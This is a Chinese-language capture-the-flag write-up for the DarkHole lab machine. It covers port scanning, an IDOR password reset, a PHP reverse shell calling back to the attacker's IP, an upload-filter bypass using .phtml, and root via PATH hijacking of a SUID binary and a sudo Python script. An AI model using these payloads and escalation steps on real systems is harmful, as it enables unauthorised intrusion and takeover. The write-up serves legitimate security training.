0x01 靶机信息
0x02 Write-Up
2.1 主机扫描
目标机IP:192.168.181.162
nmap -sS -Pn -p- -A -T4 192.168.181.162
-sS 隐蔽扫描,-Pn 禁Ping,-p- 所有端口,-A 综合扫描,-T4 快速扫描
扫描发现开放了22和80端口
2.2 访问80服务
访问主页,发现view details无反应
点击login
万能密码尝试失败,注册一个用户
登录后可以看到url有个id=2,是一个尝试的点
访问id=1,发现存在内置账户
Your Not Allowed To Access another user information
你不允许访问其他用户信息
2.2.1 越权重置账户密码
尝试密码更改功能
打开burp抓包
可以看到格式是密码跟着id,这里直接更改id=1,发送到repeater模块尝试
发现成功更改
查看update模块
可以任意修改用户名
直接改名admin猜测一下
提示更改成功,但是依然是user1234
这里很可能是用户名重复
使用我们更改的密码1234和用户名admin尝试登录
登录成功
2.2.2 文件上传反弹shell
编写反弹shell,并上传
<?php
$ip = "192.168.181.136";
$port = "4444";
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
上传文件有限制
Sorry , Allow Ex : jpg,png,gif
仅允许jpg,png,gif 的扩展名
更改后缀名为phtml绕过
成功上传
开启本地监听
nc -nvlp 4444
点击file执行,反弹成功
2.2.3 会话升级
SHELL=/bin/bash script -q /dev/null
查找suid权限文件
find / -perm -u=s -type f 2> /dev/null
发现/home/john/toto可疑文件
发现四个文件,其中toto是root权限的可执行文件
其余三个文件均无权限
toto是执行了id命令
2.2.4 更改环境变量提权
更改id命令的环境,使其运行我们写有自定义内容的id
cd /tmp
echo "/bin/bash" > id
chmod + x id
export PATH=/tmp:$PATH
提权成功
获得了user's flag
DarkHole{You_Can_DO_It}
password文件内写有root123,经尝试是john的密码
并且john可以用root权限运行file.py
2.2.5 python提权
os命令提权
import os
os.system("/bin/bash")
sudo -u root /usr/bin/python3 /home/john/file.py
2.2.6 提权成功
提权成功,root’s flag
DarkHole{You_Are_Legend}